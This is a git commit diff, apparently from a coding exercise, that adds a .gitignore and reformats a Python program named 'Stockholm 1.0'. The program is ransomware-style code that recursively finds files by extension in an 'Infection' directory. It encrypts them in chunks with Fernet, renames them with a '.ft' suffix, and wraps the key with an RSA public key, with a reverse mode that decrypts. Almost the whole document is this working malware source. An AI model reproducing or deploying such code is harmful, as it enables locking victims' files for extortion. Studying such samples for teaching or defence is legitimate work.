.gitignore

This commit is contained in:
whaffman 2025-07-08 14:42:21 +02:00
parent b7ac2a7bb0
commit d9bd061210
2 changed files with 32 additions and 29 deletions

1
.gitignore vendored Normal file
View File

@ -0,0 +1 @@
.venv

View File

@ -40,12 +40,12 @@ silent = False
def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id_rsa.pub"): def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id_rsa.pub"):
""" """
Encrypts the symmetric key using the provided public key. Encrypts the symmetric key using the provided public key.
:param symmetric_key: The symmetric key to encrypt. :param symmetric_key: The symmetric key to encrypt.
:param public_key_path: Path to the public RSA key file. :param public_key_path: Path to the public RSA key file.
:return: Encrypted symmetric key. :return: Encrypted symmetric key.
""" """
try: try:
with open(public_key_path, "rb") as public_key_file: with open(public_key_path, "rb") as public_key_file:
public_key = RSA.import_key(public_key_file.read()) public_key = RSA.import_key(public_key_file.read())
cipher_rsa = PKCS1_OAEP.new(public_key) cipher_rsa = PKCS1_OAEP.new(public_key)
@ -53,20 +53,20 @@ def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id
except Exception as e: except Exception as e:
my_print(f"Error encrypting symmetric key: {e}") my_print(f"Error encrypting symmetric key: {e}")
return None return None
try: try:
with open(encrypted_key_path, "w") as enc_file: with open(encrypted_key_path, "w") as enc_file:
enc_file.write(b64encode(encrypted_symmetric_key).decode('utf-8')) enc_file.write(b64encode(encrypted_symmetric_key).decode('utf-8'))
except Exception as e: except Exception as e:
my_print(f"Error writing encrypted symmetric key to file: {e}") my_print(f"Error writing encrypted symmetric key to file: {e}")
return None return None
my_print(f"Encrypted symmetric key saved to {encrypted_key_path}") my_print(f"Encrypted symmetric key saved to {encrypted_key_path}")
def encrypt_files(files, symmetric_key): def encrypt_files(files, symmetric_key):
""" """
Encrypts the specified files using the symmetric key with chunked encryption. Encrypts the specified files using the symmetric key with chunked encryption.
:param files: List of file paths to encrypt. :param files: List of file paths to encrypt.
:param symmetric_key: The symmetric key to use for encryption. :param symmetric_key: The symmetric key to use for encryption.
""" """
@ -81,7 +81,7 @@ def encrypt_files(files, symmetric_key):
encrypted_file = file.with_suffix(file.suffix + '.ft') encrypted_file = file.with_suffix(file.suffix + '.ft')
else: else:
encrypted_file = file encrypted_file = file
try: try:
with open(file, 'rb') as fin, open(encrypted_file, 'wb') as fout: with open(file, 'rb') as fin, open(encrypted_file, 'wb') as fout:
# Encrypt in chunks to handle large files # Encrypt in chunks to handle large files
@ -91,15 +91,15 @@ def encrypt_files(files, symmetric_key):
chunk = fin.read(65536) # 64KB chunks chunk = fin.read(65536) # 64KB chunks
if not chunk: if not chunk:
break break
# Encrypt each chunk separately # Encrypt each chunk separately
encrypted_chunk = fernet.encrypt(chunk) encrypted_chunk = fernet.encrypt(chunk)
# Write the length of the encrypted chunk first (for decryption) # Write the length of the encrypted chunk first (for decryption)
chunk_length = len(encrypted_chunk) chunk_length = len(encrypted_chunk)
fout.write(chunk_length.to_bytes(4, byteorder='big')) fout.write(chunk_length.to_bytes(4, byteorder='big'))
fout.write(encrypted_chunk) fout.write(encrypted_chunk)
except Exception as e: except Exception as e:
my_print(f"Error encrypting file {file}: {e}") my_print(f"Error encrypting file {file}: {e}")
continue continue
@ -115,12 +115,12 @@ def encrypt_files(files, symmetric_key):
def decrypt_files(files, symmetric_key): def decrypt_files(files, symmetric_key):
""" """
Decrypts the specified files using the symmetric key with chunked decryption. Decrypts the specified files using the symmetric key with chunked decryption.
:param files: List of file paths to decrypt. :param files: List of file paths to decrypt.
:param symmetric_key: The symmetric key to use for decryption. :param symmetric_key: The symmetric key to use for decryption.
""" """
fernet_main = Fernet(symmetric_key) fernet_main = Fernet(symmetric_key)
for file in files: for file in files:
if file.suffix != '.ft': if file.suffix != '.ft':
continue continue
@ -128,14 +128,14 @@ def decrypt_files(files, symmetric_key):
original_file = file.with_suffix('') original_file = file.with_suffix('')
if len(original_file.suffixes) == 0: if len(original_file.suffixes) == 0:
original_file = original_file.with_suffix('.ft') original_file = original_file.with_suffix('.ft')
try: try:
with open(file, 'rb') as fin, open(original_file, 'wb') as fout: with open(file, 'rb') as fin, open(original_file, 'wb') as fout:
length_key = fin.read(4) length_key = fin.read(4)
if not length_key or len(length_key) < 4: if not length_key or len(length_key) < 4:
my_print(f"Error reading length of encrypted key from {file}") my_print(f"Error reading length of encrypted key from {file}")
continue continue
encrypted_key = fin.read(int.from_bytes(length_key, byteorder='big')) encrypted_key = fin.read(int.from_bytes(length_key, byteorder='big'))
if not encrypted_key: if not encrypted_key:
my_print(f"Error reading encrypted key from {file}") my_print(f"Error reading encrypted key from {file}")
continue continue
@ -146,30 +146,30 @@ def decrypt_files(files, symmetric_key):
my_print(f"Error decrypting symmetric key: {e}") my_print(f"Error decrypting symmetric key: {e}")
continue continue
fernet = Fernet(decrypted_key) fernet = Fernet(decrypted_key)
# Decrypt in chunks # Decrypt in chunks
while True: while True:
# Read the chunk length # Read the chunk length
length_bytes = fin.read(4) length_bytes = fin.read(4)
if not length_bytes or len(length_bytes) < 4: if not length_bytes or len(length_bytes) < 4:
break break
chunk_length = int.from_bytes(length_bytes, byteorder='big') chunk_length = int.from_bytes(length_bytes, byteorder='big')
# Read the encrypted chunk # Read the encrypted chunk
encrypted_chunk = fin.read(chunk_length) encrypted_chunk = fin.read(chunk_length)
if not encrypted_chunk or len(encrypted_chunk) < chunk_length: if not encrypted_chunk or len(encrypted_chunk) < chunk_length:
break break
# Decrypt the chunk # Decrypt the chunk
decrypted_chunk = fernet.decrypt(encrypted_chunk) decrypted_chunk = fernet.decrypt(encrypted_chunk)
fout.write(decrypted_chunk) fout.write(decrypted_chunk)
except Exception as e: except Exception as e:
my_print(f"Error decrypting file {file}: {e}") my_print(f"Error decrypting file {file}: {e}")
continue continue
try: try:
os.remove(file) os.remove(file)
my_print(f"Removed encrypted file: {file}") my_print(f"Removed encrypted file: {file}")
except Exception as e: except Exception as e:
@ -177,47 +177,49 @@ def decrypt_files(files, symmetric_key):
continue continue
my_print(f"Decrypted file: {original_file}") my_print(f"Decrypted file: {original_file}")
def list_infection_files(infection_path): def list_infection_files(infection_path):
""" """
Lists all files in the Infection directory. Lists all files in the Infection directory.
:return: List of file paths in the Infection directory. :return: List of file paths in the Infection directory.
""" """
if not infection_path.exists(): if not infection_path.exists():
my_print("Infection path does not exist.") my_print("Infection path does not exist.")
return [] return []
files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix in suffixes_to_encrypt] files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix in suffixes_to_encrypt]
return files return files
def list_infected_files(infection_path): def list_infected_files(infection_path):
""" """
Lists all infected files in the Infection directory. Lists all infected files in the Infection directory.
:return: List of infected file paths in the Infection directory. :return: List of infected file paths in the Infection directory.
""" """
if not infection_path.exists(): if not infection_path.exists():
my_print("Infection path does not exist.") my_print("Infection path does not exist.")
return [] return []
files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix == '.ft'] files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix == '.ft']
return files return files
def generate_symmetric_key(): def generate_symmetric_key():
""" """
Generates a symmetric key for encryption. Generates a symmetric key for encryption.
:return: Generated symmetric key. :return: Generated symmetric key.
""" """
key = Fernet.generate_key() key = Fernet.generate_key()
my_print(f"Generated symmetric key: {key.decode('utf-8')}") my_print(f"Generated symmetric key: {key.decode('utf-8')}")
return key return key
def my_print(message): def my_print(message):
""" """
Prints the message if not in silent mode. Prints the message if not in silent mode.
:param message: The message to print. :param message: The message to print.
:param silent: If True, suppresses the output. :param silent: If True, suppresses the output.
""" """
@ -230,7 +232,7 @@ def main():
parser.add_argument("-r", "--reverse", type=str, help="Decrypt files using the provided decryption key.") parser.add_argument("-r", "--reverse", type=str, help="Decrypt files using the provided decryption key.")
parser.add_argument("-v", "--version", action="version", version="Stockholm 1.0") parser.add_argument("-v", "--version", action="version", version="Stockholm 1.0")
parser.add_argument("-s", "--silent", action="store_true", default=False ,help="Run in silent mode, suppressing output messages.") parser.add_argument("-s", "--silent", action="store_true", default=False ,help="Run in silent mode, suppressing output messages.")
args = parser.parse_args() args = parser.parse_args()
global silent global silent
@ -261,7 +263,7 @@ def main():
encrypt_symmetric_key(symmetric_key, infection_path / "encrypted_symmetric_key.bin") encrypt_symmetric_key(symmetric_key, infection_path / "encrypted_symmetric_key.bin")
if files: if files:
encrypt_files(files, symmetric_key) encrypt_files(files, symmetric_key)
else: else:
my_print("No files to encrypt found in the Infection directory.") my_print("No files to encrypt found in the Infection directory.")
del symmetric_key del symmetric_key